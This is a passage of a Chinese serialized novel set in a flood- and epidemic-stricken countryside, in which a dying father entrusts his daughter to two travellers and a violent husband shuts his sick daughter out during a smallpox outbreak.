秋丽快步走到芸香身边,蹲下身子,轻轻地拉住芸香的手,声音略带哽咽地说道:“芸香嫂子,您一定要坚强啊!节哀顺变吧!” 芸香缓缓抬起头,目光空洞无神地看了一眼秋丽,然后又低下头去,用沙哑的嗓音说道:“我知道,谢谢你们让我的孩子能吃上一顿饱饭才离开人世,这份恩情我没齿难忘。今天,我在这里给各位磕个头,表示感谢!”说完,她便毫不犹豫地双膝跪地,朝着面前的几个人重重地磕起头来。 秋丽急忙走上前,伸出双手想要扶住摇摇欲坠的芸香,她满脸焦急地说道:“芸香嫂子,你可千万别这样啊!快起来!”然而,芸香却执意跪在地上不肯起身,泪水如决堤的洪水般肆意流淌着。 只见芸香一边哭泣,一边颤抖着声音说:“秋丽妹子,求求你让我替柱子磕了这个头吧!他走得这么突然,我心里实在难受啊!而且柱子的后事还得麻烦你们多多帮衬呢!”说完,芸香便重重地朝着地面磕头,额头与坚硬的土地碰撞发出清脆的声响。 站在一旁的杜老汉看着眼前这一幕,心中不禁一阵酸楚。他长叹一口气,缓缓走到芸香身旁,弯下腰轻轻地将她扶起来,安慰道:“芸香啊,你就放心吧!柱子的事那就是我们大家的事,有啥困难一起扛过去。唉,只是谁能想到会发生这种事情呢......”说着说着,杜老汉的眼眶也渐渐湿润了。 后来,云亭和文孝主动帮忙料理了柱子的后事。当一切都安排妥当之后,他们拿来了沉甸甸的粮食,送到芸香面前,希望能够给她一些帮助。可是芸香却坚定地摇了摇头,拒绝了这份好意。 她用那双布满血丝的眼睛望着云亭和文孝,语气诚恳地说:“谢谢你们的好心,但真的不用了。柱子已经不在了,我一个人也不需要了,这些东西还是送给那些比我更需要它的人吧!”说完,芸香转身默默地走进了屋内,留下云亭和文孝呆立在原地,看着留下的粮食,心情异常沉重。 秋丽轻轻走到芸香面前,语重心长地说道:“芸香嫂子,你可一定要想开些呀!柱子他就算不在身边,肯定也不愿意看到你挨饿受苦的!”然而,芸香却仿佛没有听到一般,面色依旧如死水般平静,眼神空洞无神,毫无生气地朝着前方缓缓走去。 看着芸香离去的背影,杜老汉无奈地深深叹了口气,喃喃自语道:“唉,发生了这么多事,她一时半会儿肯定难以接受,也是需要一些时间来慢慢消化这些痛苦和悲伤的......” 此时,在杜家坡这个地方,虽然粮食短缺的问题暂时得到了解决,但随之而来的却是一个更为棘手的新难题——高烧。有些人不仅体温居高不下,身上更是出现了一片片触目惊心的红疹,让人看了不禁心生恐惧。面对这突如其来的状况,杜老汉不住地摇着头,满脸愁容地叹息道:“哎,这都是命啊!谁能想到会遇到这样的事情呢?” 云亭一脸忧虑地看着杜大叔,焦急地问道:“杜大叔,您见多识广,您可知道这到底是什么病啊?怎么会如此厉害?” 杜老汉缓缓地摇了摇头,脸上满是无奈和悲伤,他深深地叹了口气说道:“唉,秋丽她娘也是得了这种病离开人世的呀!当时请来了大夫,那大夫说了,得了这病的人呐,如果运气好能够痊愈,那就谢天谢地了;但要是没能挺过去,那……你说说看,这不是命又能是什么呢?” 一旁的文孝听着两人的对话,心中越发沉重起来,他不甘心地追问道:“难道真的就一点儿解决的法子都没有吗?总不能就这样眼睁睁地看着大家受苦受难吧!” 杜老汉再次摇了摇头,眼神黯淡无光,他苦着脸说道:“以前的时候,大夫倒是提过可以尝试用一些清热解毒的草药来治疗看看,说不定还有一线生机。可是如今呐,连那些救命的草药也遭了殃啦!这一场大水把地里的庄稼全都给淹没了,哪里还有多余的草药可用哟!现在啊,就只能各安天命,看谁的命够硬,能够扛的过去了……!” 让云亭始料未及的是,就在次日清晨,就连文孝居然也毫无征兆地发起了高烧。他整个人都变得昏昏沉沉的,面色通红,身体滚烫得吓人。眼见着这样一直烧下去可不是个办法,云亭心急如焚。 经过一番思索后,云亭转头看向身旁的杜大叔,焦急地问道:“杜大叔,您知道这附近有没有地势比较高的地方啊?” 杜老汉皱起眉头,认真思考了片刻,然后回答道:“嗯……往东边大概两公里远的地方有一座山,那里的位置相对较高,应该会有草药的吧。” 听到这个消息,云亭眼前一亮,连忙说道:“太好了!那我去那山里转转,看看能不能挖到一些能用的草药带回来给乡亲们治病。” 杜老汉点了点头,表示赞同:“这的确是个好主意。不过山上地形复杂,而且山高路滑,不太安全。要不还是我陪着你一起去吧,也好互相有个照应。” 李云亭心里暗自思忖着,自己初来乍到对这片地区的路况可谓一无所知,如果能有经验丰富的杜大叔同行相伴,那自然是再好不过啦! 这时,一旁的秋丽开口说道:“爹呀,您年纪大了,要不还是让我和云亭大哥一起去吧?平日里我可没少往那座山里跑呢!” 杜老汉稍稍思考了一会儿后回答道:“秋丽啊,文孝这会儿正发着高烧,病得很严重呢,身边总得有人照看着才行呐。再说了,这山上如今到处都是泥水,道路湿滑难行,着实不太方便你个姑娘家,所以还是由我陪着云亭走一趟吧!” 就这样,杜老汉带着李云亭一同踏上了前往距离自家约两公里之外的那座大山的路途。刚到山脚下时,放眼望去尽是一片荒凉景象,杂草皆无、乱石嶙峋。然而,当他们沿着蜿蜒曲折的山路向上攀爬了一段路程之后,眼前的景色却突然变得截然不同起来——只见四周绿树成荫,各种植物郁郁葱葱、生机勃勃,一派繁茂喜人的模样! 李云亭不禁由衷地发出一声赞叹:“哎呀,真没想到这山上面居然另有乾坤呢!” 听到这话,杜老汉微笑着连连点头,并伸出手指向不远处的一片草药说道:“瞧瞧那个,真是不错呀,把它挖回家肯定能派上大用场哩!” 没过多久,云亭就成功地挖到了满满一背篓的药材。然而就在这时,意外发生了。他的脚下不知怎的突然一滑,整个人瞬间失去平衡,重重地向前摔了出去,滚出去十几米。 好在云亭反应迅速,他拼命用手抓住周围能够借力的树枝,回想起刚才那惊心动魄的一幕,云亭不禁感到一阵后怕,额头上也冒出了一层细汗。 稍稍平复了一下心情后,云亭站起身来拍了拍身上的尘土,然后对着远处正在专心采药的杜老汉大声喊道:“杜大叔,您可得小心一点啊!这片山路实在是太滑了,刚刚我就不小心摔了一个大跟头,差点就掉到山下去了!” 听到云亭的呼喊声,杜老汉停下手中的动作,抬起头看了过来。只见他满不在乎地点了点头,笑着回应道:“哈哈,放心吧孩子,我没事儿。想当年我年轻的时候,可是经常到这里来砍柴呢,对这条山路熟悉得很,从来都没有摔倒过!”说着,杜老汉放下手里的东西,立马跑过来拉起了云亭:“你可要当心些啊!” 文孝这边,此时只觉得脑袋昏沉得厉害,全身发烫。秋丽见状,心急如焚地将他搀扶进屋内,并小心翼翼地让他在床上躺下。只见文孝面色通红,呼吸急促,显然是发烧得不轻,躺下去就沉沉睡去了。 秋丽连忙打来一盆温水,浸湿毛巾后轻轻地擦拭着文孝的额头,试图帮助他降温。 文孝这时候正陷入深深的梦乡之中。在梦中,文孝看到了一个熟悉而又温馨的场景——小雨正挺着大肚子,身旁还牵着他那两个可爱的孩子,他们笑意盈盈地站在他的对面。小雨温柔地说道:“文孝,我们都想你了!”那幸福的笑容如同春日暖阳般温暖人心。 可是,当他准备拥抱唐小雨的时候,小雨和孩子们的身影却突然消失不见,文孝下意识地伸出手想要抓住小雨的手,不想却一把攥住了正在给他擦额头的秋丽的手腕。与此同时,口中情不自禁地喊出了一声:“小雨。” 随着这声呼喊,文孝猛地睁开双眼,从梦境中惊醒过来。当他看清眼前的情景时,顿时愣住了。 原来,坐在自己面前的并不是小雨,而是秋丽。而且,更令他尴尬不已的是,自己的手竟然还紧紧地抓着秋丽的手腕。 秋丽感受到文孝的手正攥着自己的手,她的脸像熟透的苹果一样,唰的一下变得通红,羞涩地低下头去,不敢与文孝对视。 文孝也很快回过神来,急忙松开了秋丽的手,满脸歉意地解释道:“对不起啊,秋丽,我刚才做了个梦……没吓到你吧?” 秋丽温柔地看着文孝,轻声说道:“没关系啦,瞧你睡得那么香,想必做的一定是个美梦吧,我刚刚看到你睡着的时候,嘴角都微微上扬,像是在笑着呢。” 文孝听后,轻轻地点了点头,然后连忙问道:“云亭和杜大叔去哪里了呀?” 秋丽赶忙回答道:“你这高烧一直不退,可把我们急坏了。云亭大哥担心你的病情,便和我爹一起去附近的山上找草药去了!” 文孝一听,眉头紧皱,着急地说道:“这云亭也太胡闹了!他怎么能让杜大叔跟着一块儿去冒险呢!不行,我得赶紧去找他们才行。”说着,文孝就要起身往外走去。 秋丽见状,急忙伸手拦住他,焦急地劝道:“你现在还发着高烧呢,万一再受点儿风寒怎么办?而且说不定他们马上就回来了,你还是先安心等着吧!” 然而,文孝心中实在放心不下,坚持要出门寻找他们。就在这时,只见门口传来一阵脚步声,原来是云亭和杜老汉一起回来了。两人身上背着满满的一背篓草药,看上去十分辛苦,但脸上却洋溢着欣慰的笑容。 文孝一脸感激地说道:“杜大叔,我都不知道该怎么感谢您才好呢!” 杜老汉爽朗地笑了笑,摆着手回答道:“嗨哟,文孝,说啥谢的话!要不是云亭这孩子提醒我,咱们哪能想起上那老山林里去啊!好在山里头还挖出了些草药,也算没白跑一趟。你赶紧进屋去躺着,生了病可得好生歇息才行呐!”说着,他转头朝着屋内喊道:“秋丽啊,等会儿把那些草药分一分,给咱村里病了的人家都送上一些去!” 这时,一旁的文亭赶忙开口道:“杜大叔,还是让我来吧,秋丽妹子忙前忙后的,让她歇会儿吧!” 杜老汉连忙摇头拒绝道:“不成不成,文亭啊,你今儿个也累坏咯!你看你,还差一点儿就摔到山下面去喽,可把我给吓得不轻哟!听话,你也快去,歇上一会儿,这点儿小事情就让秋丽去做就行啦!” 听到这话,原本还有些放松的文孝瞬间紧张了起来,他急忙凑到云亭身边,满脸关切地问道:“云亭,你快告诉我,你到底摔到哪儿啦?伤得重不重啊?” 云亭连忙摆了摆手说道:“我真没事儿,就是不小心擦破了点皮而已,不碍事的。倒是你啊,赶快到床上去躺着好好歇息一下吧!等会儿,我就去厨房给你煎药喝!您一定要快点儿好起来呀,我出门之前还跟我娘他们说过,十天半个月就能回家了的,可这都出来快要一个月喽!只要你身体一恢复,咱们就能拾掇拾掇行李回家去咯!” 就在这时,原本安安静静坐在一旁的杜老汉突然猛地一阵剧烈咳嗽,他下意识地伸手抓起身边的一条毛巾,紧紧捂住自己的嘴巴。然而,当他松开手时,却惊觉那雪白的毛巾上竟染着一抹刺目的红色。杜老汉心头一惊,急忙将毛巾往身后一塞,生怕被旁人瞧见,同时,他的脸色瞬间闪过一丝难以掩饰的忧虑。 这时候云亭倒了一碗清水,小心翼翼地端到杜老汉面前,关切地说道:“杜大叔,您慢点喝,别呛着了!” 杜老汉颤巍巍地伸出双手,接过水碗,感激地看着云亭,声音略带沙哑地道谢:“谢谢你啊,云亭,真是个好孩子……咳咳咳……其实,我有件重要的事情想跟你们唠唠!” 云亭与身旁的文孝听完,两人对视一眼,眼中皆流露出深深的疑惑之情。此时,杜老汉扭头看向院子里正蹲在地上专心致志处理那些草药的秋丽,然后朝着文亭和文孝轻轻地挥了挥手,领着他们走进房间,并顺手将房门紧紧关上。 文亭一脸疑惑地看着杜大叔,轻声问道:“杜大叔,是出了什么事么?” 杜老汉缓缓走到窗前,目光穿过那扇小小的木窗,落在了院子里正忙碌着的秋丽身上。他凝视了片刻后,深深地叹了口气,转过身来对着文亭说道:“哎,实不相瞒,我看得出二位皆是已有家室之人。依我看,你们可都是好后生呐!只是眼下,我这心里头着实放心不下秋丽这丫头。所以今日就是想将她托付于你们。我只求你们能帮忙给秋丽寻个好婆家。不需要对方有多富贵荣华,只要能让她一日三餐有着落,不至于饿着肚子就成!” 听到这话,云亭和文孝不禁面面相觑,然后异口同声地回应道:“杜大叔,这如何使得啊?这可是件大事儿啊!” 杜老汉摆了摆手,脸上露出一丝苦涩的笑容,接着说道:“我也就不瞒着你们啦。其实我这身老骨头早已被病痛折磨得不成样子,如今已是病入膏肓,所剩时日无多了……”说着,他又重重地叹息了一声,仿佛心头压着千斤重担一般。 云亭和文孝满脸写着惊讶之色,云亭瞪大了眼睛看着眼前的杜老汉,问道:“杜大叔,您这是......?” 杜老汉那张饱经风霜的脸上满是愁容和无奈,他深深地叹了口气,缓缓说道:“唉,这事儿说来话长。就在几个月前,那日我突然觉得身体不适,就去镇上找了大夫瞧病。可那大夫看了之后却说,我这病已经没得治啦,最多也就只能再撑半年的时间!当时我一听这话,心里头那个难受啊,可没办法,这都是命呐!” 说到这儿,杜老汉顿了顿,眼中闪过一丝悲伤继续道:“我想着自己没多少日子好活了,得赶快给俺家秋丽寻一门亲事,也好有个人能照顾她以后的生活。这不,好不容易相中了一家,正准备商量定亲的事儿呢,谁承想天公不作美,一场大雨下个不停。那雨大得吓人呐,山上的一个大石头滚了下来,不偏不倚正好砸中了那家的房子,结果全家老小一个都没能幸免,全都没了啊!自那场大雨开始,咱们这儿的庄稼也是颗粒无收,家家户户的日子过得那叫一个艰难呐!这种情况下,哪还有人家有心思说媒啊!” 杜老汉抬起头来,望着天空喃喃自语道:“也许是老天爷不忍心见我就这样带着遗憾离开人世,所以才格外开恩,让我又多苟延残喘了这么几个月,一直等到你们的出现啊!如今,我唯一放心不下的就是俺家秋丽这丫头了。我想求求你们,等你们要离开这里的时候,能不能把秋丽也一块儿带走哇?只要能给她一条活路,我就算到了地下也能安心闭眼啦!” 见云亭和文孝都沉默不语,杜老汉面露尴尬之色,赶忙说道:“哎呀,我也知道我这要求可能有些过分啦,实在是不好意思啊!如果你们觉得为难,不同意也是没有关系的!”说完,便微微低下头去,显得有些失落。 就在这时,一直没吭声的文孝像是突然想到了什么好点子似的,眼睛一亮对杜老汉说道:“杜大叔,您别担心!秋丽是个好姑娘,我们肯定会像对待自己亲妹妹一样好好照顾她的!而且云亭他还有一个亲弟弟呢,名叫云义。那小子可真是个不错的人呐,心地善良又勤快,这次本来他也是特别想跟我们一起出来的,但因为家里老母亲需要有人照料,所以文亭就让他留在家里尽孝道了。杜大叔,如果您不介意的话,这门亲事我来帮着撮合咋样?” 杜老汉一听这话,顿时来了精神,急忙将目光转向云亭,满含期待地问道:“真的吗?云亭啊,原来你还个弟弟呀?” 被杜老汉这么一问,云亭一时间竟不知该如何回答,犹豫片刻后,只得硬着头皮应道:“嗯……是有个弟弟,目前尚未婚配。” 听到云亭亲口确认,杜老汉喜不自禁地点点头,连声道:“好哇,好哇!这下可太好了!”然而话音未落,只见他突然剧烈地咳嗽起来,身体不住地颤抖着,随着一阵猛咳,竟然咳出了好几口鲜血!众人见状,皆是大惊失色。 就在这时,只听得“砰”地一声响,那扇原本紧闭着的门被猛地推开,秋丽宛如一阵疾风般冲了进来。她的脸上挂满了泪痕,嘴唇微微颤抖着,悲切地喊道:“爹……”声音里充满了无尽的哀伤和痛楚,仿佛整个世界都在这一刻崩塌了。 杜老汉见状,心中一紧,刚想开口安慰几句,却见秋丽已抢先一步说道:“爹,您刚才讲的那些话,我在门外全都听见了!您生了这么重的病,为何还要一直瞒着我呀?”说着,泪水又如决堤之水般从她那双美丽的眼眸中奔涌而出。 第82章 琢磨不透 杜老汉心疼地看着女儿,缓缓伸出手来,轻轻地拍了拍她的手背,语重心长地说道:“好孩子,爹知道这件事瞒不住太久,但爹不想让你过早地承受这些痛苦和压力。爹时日不多了,你就跟着他们一起离开吧,好好地活下去。”说完,他深深地叹了口气,眼中闪过一丝无奈与不舍。 杜老汉紧紧地拉起女儿的手,眼中满含着不舍与无奈,缓缓说道:“秋丽啊,爹知道自己的身体状况,怕是不能再陪你太久了……”话未说完,已是老泪纵横。 秋丽听到这话,整个人瞬间呆住了。紧接着,她扑到父亲怀中,放声痛哭起来:“爹,您别这么说!我不要离开爹!爹也不要离开我!没有了爹,我可怎么办呐!”哭声撕心裂肺,令人闻之动容。 杜老汉轻轻抚摸着女儿的头发,安慰道:“孩子,别哭。人总有生离死别的一天,这是没办法改变的事情。” “你们先出去吧,我想安静地休息一会儿。”说着,他挥挥手示意大家离去。 文亭和文孝对视一眼,便一前一后默默地走出房间。临出门前,杜老汉又拍了拍女儿的手,叮嘱道:“秋丽啊,你也出去吧。记得把那些草药煮好了。” 秋丽泪眼朦胧地抬起头,深深地看了几眼父亲,然后才慢慢地站起身来,一步一回头地向门外走去。待走到门口时,她又忍不住停下脚步,再次凝视着床上虚弱的父亲。最终,她轻轻地带上了房门。 而在另一间屋子里,云亭满脸疑惑地拉住文孝问道:“你刚才怎么会突然提起云义呢?事先也没跟我商量一下!” 文孝一脸无辜地回答道:“这能怪我嘛?你看看杜大叔现在都病成这样了,咱们总不能直接拒绝人家吧?而且,我觉得秋丽那姑娘挺不错的呀,勤劳善良、温柔体贴,难道你们家还看不上人家不成?” 云亭皱着眉头,语气略带无奈地说道:“我不是那个意思,你心里应该很清楚!云义这小子这些年来可是拒绝了不少家里给他精心安排的亲事呢。要是他自己不情愿,咱们就算再怎么使劲儿也没用啊。”说完,他轻轻地摇了摇头,脸上露出一丝担忧之色。 文孝却显得信心满满,拍着胸脯保证道:“嘿嘿,你尽管放宽心!这件事包在我身上,我就不信时间长了,他会不动心。所谓日久生情嘛,只要我们多创造点机会让他们相处,肯定能成!”说着,他嘴角微微上扬,似乎已经看到了美好的结局。 听到这话,云亭深深地叹了口气,眼神有些飘忽不定,像是陷入了沉思之中。他究竟在思考些什么呢?也许是担心文孝过于自信而最终事与愿违,又或许是在琢磨如何才能更好地促成此事。 就在这时,一个清脆悦耳的声音打破了屋内短暂的宁静。只见秋丽轻盈地走了进来,手中小心翼翼地端着一碗热气腾腾的药。她面带微笑,对着文孝柔声说道:“文孝大哥,你感觉怎么样啦?这药我刚刚已经帮你晾凉一些了,现在温度刚刚好,你赶紧趁热把它喝下吧,这样身体才能快点好起来!” 文孝连忙伸手接过药碗,感激地看着秋丽,笑着回答道:“真是太感谢秋丽妹子啦!”说罢,他仰起头,毫不犹豫地将整碗药一饮而尽。喝完后,他咂巴咂巴嘴巴,回味了一下那苦涩的味道。 一旁的云亭见状,这才如梦初醒般回过神来,一拍脑门自责道:“瞧我这记性,居然把你生病这事给忘了!文孝,你可得好好休息,等你完全康复了,我们也好早点回家去啊!” 文孝一脸坏笑地看着云亭,调侃道:“哦……我说你小子,是想媳妇儿了吧?都这般急着回家了?” 然而,不知为何,这两日云亭的心绪犹如一团乱麻,始终无法平静下来。他总是隐隐担忧家中是否发生了某些变故,以至于整个人都有些魂不守舍。面对文孝的打趣,云亭仿若未闻一般,自顾自地快步走出房门,来到屋檐之下,一屁股坐了下去。随后,便呆呆地仰望着湛蓝如洗的天空,发起愣来。 见此情形,文孝不禁感到有些诧异,嘟囔着说道:“嘿!不过跟你开个小玩笑而已嘛,这人咋说跑就跑了呢?真是奇了怪了!” 站在一旁的秋丽轻轻摇了摇头,轻声回应道:“或许是他心情不好吧!” 文孝闻言,若有所思地点了点头,但随即又不以为然地撇撇嘴,说道:“他能有啥好不开心的?依我看呐,八成是他想家想得紧咯!” 听到这话,秋丽将目光转向文孝,柔声问道:“那你呢?难道你就不想家么?” 文孝眼神中流露出一丝思念之情,感慨地说道:“想啊,谁在外时间久了都会想家的!” 秋丽眨了眨眼睛,好奇地追问道:“那你想家里的谁呀?”她的目光紧紧锁定着文孝,似乎想要从他的表情中捕捉到更多的信息。 文孝挠了挠头,笑着回应道:“我想的人可多了呢!”然而,他的心中却暗自思忖着:其实我现在最想知道的是小雨肚子里怀的究竟是个儿子还是闺女!这个问题一直萦绕在他心头,让他有些迫不及待地想要得到答案。 就在这时,文孝突然察觉到秋丽正直直地盯着自己看,那目光竟有些灼热。他不禁感到一阵不自在,连忙转移话题说:“别光问我啊,我倒想问一下你。过几日我们就要离开了,你愿不愿意跟我们一起离开杜家坡呢?” 听到这话,秋丽的神情变得凝重起来,她微微低下头,陷入了沉思之中。一时间,四周的空气仿佛都凝固了,只有微风轻轻拂过树叶发出的沙沙声。许久之后,秋丽依然没有给出明确的答复,而是默默地转身走出了房间。 望着秋丽离去的背影,文孝无奈地摇了摇头,自言自语道:“这两个人真是让人捉摸不透啊!” 其实,这些天以来,杜老汉一直隐隐觉得自己的身体每况愈下,仿佛生命之烛即将燃尽。他心中清楚,大限将至,而他最不愿见到的,便是让心爱的女儿目睹自己在人生最后的时刻那憔悴不堪的模样。于是,他让他们都出去。 杜老汉独自躺在床上,感受着身下被褥传来的温暖,思绪渐渐飘远。回想起这一生经历过的风风雨雨,有欢笑也有泪水,然而此刻,一切都已变得不再重要。他慢慢地合上沉重的眼皮,安详地离开了这个世界。 次日清晨,阳光透过窗户洒在了屋子里。秋丽早早便起了床,精心准备好了早餐。她端起一碗粥,轻手轻脚地走到父亲的床前,柔声呼唤道:“爹,该起床吃饭啦......” 然而,这一次却没有得到任何回应。秋丽心头涌起一丝不安,她伸出手轻轻地触碰了一下父亲的脸颊,瞬间如遭雷击般僵住——只觉入手一片冰凉。 刹那间,秋丽明白了发生了什么,泪水像决堤的洪水一般奔涌而出。那撕心裂肺的哭声划破了清晨的寂静,传至屋外。云亭和文孝听到哭声后,脸色骤变,急忙快步冲进屋里。当他们看到床上已然逝去的杜老汉时,两人皆默默地低下了头,眼中满含悲痛与哀伤。 接下来的日子里,大家齐心协力为杜老汉操办了一场简单而庄重的葬礼。葬礼结束后,文孝一脸诚恳地说道:“秋丽妹子,当初我们答应了杜大叔会好好照顾你,就一定会说到做到!” “不过,再过几天,我们也要启程回家去了。你要不要跟我们一起走呢?这样也好相互有个照应。”说完,他满怀期待地看着秋丽,等待着她的回答。 秋丽坚定地说道:“我愿意跟你们一起走!我的爹娘已经不在人世了,这个地方对我而言只剩下伤心,所以就让我跟随你们一同前行吧!” 终于到了云亭和文孝将要离开的日子,秋丽早早便收拾好了属于自己的行囊,安静地端坐在马车之上,眼神中透露出一丝对未来的期待与迷茫。此时,村里的人们听闻消息后纷纷匆忙赶来。 只见众人簇拥着来到马车前,其中一位老者代表大家开口道:“两位恩人啊,我们实在拿不出什么像样的东西来回报这份恩情,但这肉干是我们家家户户特意分出来的一份心意,恳请您二位能够收下它,并把它带回去!权当是我们微不足道的一点谢意啦!” 听到这番话,云亭连忙推辞道:“哎呀,这如何使得呢?我们本就是举手之劳,又怎敢收受你们如此厚重的礼物啊!万万不可,万万不可啊!”他一边说着,一边连连摆手,表示坚决不能接受这些村民们的馈赠。 文孝赶忙摆手说道:“是啊,你们有口吃的,本来就不容易,我们哪好意思收你们的东西呀!” 这时,一位村民着急地喊道:“你们要是不收下这些,那我们可就要把之前从你们那儿拿走的粮食全都还给你们啦!!” 话都说到这个份儿上了,云亭和文孝相互对视一眼,实在不好再推辞众人的好意,便只好点头应道:“既然如此,那我们就恭敬不如从命,多谢大家了!” 就在此时,只见一位面容慈祥的大娘缓缓走上前来,她轻轻拉住秋丽的手,眼中满是关切与不舍:“秋丽啊,孩子,以后一定要记得常回来看望看望啊!婶子我也没什么特别贵重的礼物送给你,这两件衣裳都是好几年前做的了,但一直保存得挺好,看上去还挺新整的。希望你别嫌弃,虽说你爹娘他们已经不在人世了,可是只要你愿意回来,婶子这儿永远都是你的家!”说着,大娘将手中的衣服递到了秋丽面前。 就在这时,人群中又走出了一位大嫂,她面带微笑地走到秋丽面前,亲切地说道:“秋丽啊,嫂子我当年结婚的时候那块大花布,那可是崭新崭新的呀!如今就送给你啦,如果哪一天你真的要嫁人成亲了,一定要记得拿着这块花布去给自己做一身漂亮的新衣裳哟!”说完,大嫂便将那块鲜艳夺目的大花布轻轻地放在了秋丽的手中。 秋丽感动得泪水止不住地流了下来,她赶忙伸出双手擦拭着眼角的泪花,声音略微有些哽咽地回应道:“谢谢你们了,各位对我的好,我都记在心里头了。等将来有机会,我一定会回来看望大家的!” 与众人一一挥手道别之后,秋丽转身登上了马车。马车缓缓地沿着那条蜿蜒曲折的小路向前行驶而去。车轮滚滚,扬起一片尘土,渐渐消失在了人们的视线之中。这辆马车正朝着新县通往安县的方向一路前行,带着秋丽的思念和期待,驶向未知的远方…… 且说那李家沟,经过一段时间的休养后,云义等人的身体状况都已逐渐恢复得差不多了。李大虎父子俩的病情竟也出现了明显的好转迹象。 但不幸的是,可怜的二蛋最终还是未能战胜病魔,永远地离开了这个世界。更让人痛心的是,村里一些年事稍高的老人也没能抵挡住这场疾病的侵袭,其中就包括了李安硕的双亲。他们在病痛的折磨下,最终撒手人寰。 而令李安硕万万没有想到的是,一直在病床前悉心照料他父母多日的郭美娟,竟然也因过度劳累发起了高烧,病倒在了床上。屋漏偏逢连夜雨,就在此时,李安硕怀中的小女儿也开始浑身发烫,发起了高烧来。 面对这一连串突如其来的变故,李安硕只觉得自己的心仿佛瞬间被撕裂成了无数碎片,乱糟糟地搅在一起。刚刚才承受完父母相继离世的沉重打击,如今又要面临妻子和美娟以及可爱的女儿可能遭遇不测的巨大担忧。 此时此刻,对于李安硕来说,父母已然离他远去,如果连自己的妻儿都不能平安无事地度过此劫,那么他真不知道自己继续活下去还能有何意义可言。 隔壁李万原家的情况也好不到哪里去,他们家原本经济条件就一般,而李万原的妻子何芊菊常年被打骂,家里唯一的孩子李冬雪本就身体虚弱,可谁曾想到,这个身子骨本就有些单薄的小姑娘还是率先病倒了。 当郭芳子听闻自家孙女可能患上了令人闻风丧胆的天花时,顿时吓得花容失色,满脸惊恐地叫嚷起来:“这倒霉催的赔钱货,要死也给我死到外头去,休想踏进家门一步!”一边说着,还一边极其厌恶地用手捂住自己的口鼻,仿佛生怕会沾染上什么不洁之物似的。 与此同时,李万原则毫不留情地将何芊菊一把拽进屋里,并狠狠地用力一甩,只听得“砰”的一声巨响,那扇破旧不堪的大门就这样紧紧合上了,可怜的冬雪就这样被无情地挡在了门外。 见此情景,何芊菊心如刀绞,她挣扎着从地上爬起,跌跌撞撞地冲向门口,想要伸手打开那扇紧闭的大门。然而,就在她即将触及门锁之时,身后突然传来郭芳子得怒吼声:“你是不是活腻歪了?你想死别拉上我们全家垫背!这天花已经害死了那么多人,无论如何也绝不能放她进来!”话音未落,李万原便如同一只发狂的野兽般扑向何芊菊,对着她便是一顿拳打脚踢,直打得何芊菊在地上痛苦地跪地求饶。 望着眼前这个狠心绝情的男人,何芊菊泪如雨下,她泣不成声地喊道:“冬雪可是你的亲骨肉啊!你怎能如此眼睁睁地看着她生病受苦却不闻不问呢?” 面对妻子的质问与哀求,李万原不仅没有丝毫动容之色,反而恶狠狠地瞪着她,咬牙切齿地吼道:“哼,不过是个丫头片子罢了,有什么好稀罕的!你给老子听好了,若是你胆敢擅自将门打开,老子连你一块儿赶出家门!”说完这番话后,见何芊惠痛哭流涕的模样,心中不禁一丝烦躁,索性又上去甩了两巴掌:“你给老子闭嘴,哭哭啼啼的晦气死了!” 何芊惠坐在院内,耳边传来女儿在门外不断拍打房门并呼喊着“娘”的声音。那一声声稚嫩而急切的呼唤犹如一把利剑直刺她的心窝,令她心如刀绞。趁着李万原一个不留神,她猛地站起身来,以迅雷不及掩耳之势冲向门口,并迅速地打开了门。 当门被拉开的瞬间,何芊惠一眼便望见了站在门外满脸泪痕、惊恐万分的女儿。她毫不犹豫地张开双臂,如一只护雏的母鸡般紧紧将女儿拥入怀中。母女俩相拥而泣。 然而,她们身后的李万原却暴跳如雷。他一边嘴里骂骂咧咧地发着脾气,一边使出全身力气狠狠地踹向何芊惠。每一脚都带着无尽的愤怒与怨恨,但何芊惠却死死地护住女儿,咬紧牙关承受着这一切痛苦,不肯松手半分。 一旁的郭芳子见状,急忙伸手将自己的儿子用力拉回身边,同时大声喊道:“别过去,会传染的,可得离远一点!” 李万原则用手指着门外的母女二人,怒不可遏地吼道:“好啊,既然你这么想陪着这个死丫头,那你就尽管去吧!我不会阻拦你,你给我滚得越远越好!”说罢,他毫不留情地再次重重关上了大门。 何芊菊望着紧闭的房门,心中满是绝望和不甘。她下意识地抬起手,还想去拍打那扇无情的门,却被懂事的女儿紧紧拉住了手。只听见冬雪抽泣着说道:“娘,咱们走吧,我再也不想待在这里了。我好想离开这里,去到一个很远很远的地方,只有那样我们才不会再挨打受骂……” 何芊菊紧紧地搂着自己年幼的女儿,泪水止不住地从眼眶中滑落下来,她一边抽泣着,一边用力地点着头说道:“好,娘这就带你离开这里!别怕,有娘在呢!来,快到娘背上来,咱们去舅舅家!”说着,她便蹲下身来,让女儿爬到自己那略显瘦弱却又无比坚强的背上。 而此时,在屋子里面的李安硕也隐隐约约听到了外面传来的嘈杂声响。凭借多年对邻里关系的了解,他心中暗自猜测,想必又是隔壁那个蛮横无理的李万原在毒打他可怜的妻子和女儿了。然而,此刻的李安硕根本无暇分心去管别人家的闲事,因为眼下最令他揪心的是自家的状况——郭美娟和可爱的女儿双双病倒在了床上,身体极度虚弱。 只见李安硕忧心忡忡地走到床边,拿起一条干净的毛巾,轻轻地沾湿后拧干,然后小心翼翼地将其敷在郭美娟滚烫的额头之上。郭美娟原本苍白如纸的脸色在这一刻似乎稍稍舒缓了一些,但还是忍不住咳嗽起来。每一次剧烈的咳嗽仿佛都要耗尽她全身仅存的一丝力气,让人看了心疼不已。 过了一会儿,郭美娟终于稍微缓过气来,她用那颤抖且无力的手艰难地比划着,眼神充满疑惑与不安地问道:“……外面……到底是什么声音啊?” 李安硕一脸焦急地看着床上的郭美娟,心疼地说道:“你这都生着病呢,就别操心别的事情啦,还是要好好歇着才行。” 郭美娟转过头,目光落在身旁同样安静睡着的女儿身上,她抬起手比划着,问道:“月儿是不是也病倒了呀?还有咱们的儿子,他怎么样了?” 李安硕赶忙握住郭美娟的手,轻声安慰道:“你安心养病,别担心这些。儿子我已经先送到岳父家里去了,他们那边一切都好着呢,没啥事!现在最关键的就是你和月儿啊。爹娘已经没有了,这个家可不能再没有你们啊,所以你千万不能有什么事情!”说到这里,李安硕眼眶不禁泛红,泪水在眼眶里打转。 听到李安硕这么说,郭美娟努力挤出一丝笑容,用手比划着宽慰道:“我不会有事的,只是觉得身体有些疲乏劳累,睡一觉就能好的。” 李安硕点点头,端起放在一旁还冒着热气的药碗,小心翼翼地吹了几口气后递到郭美娟嘴边,温柔地说道:“来,快把这药喝了……” 第83章 一报还一报 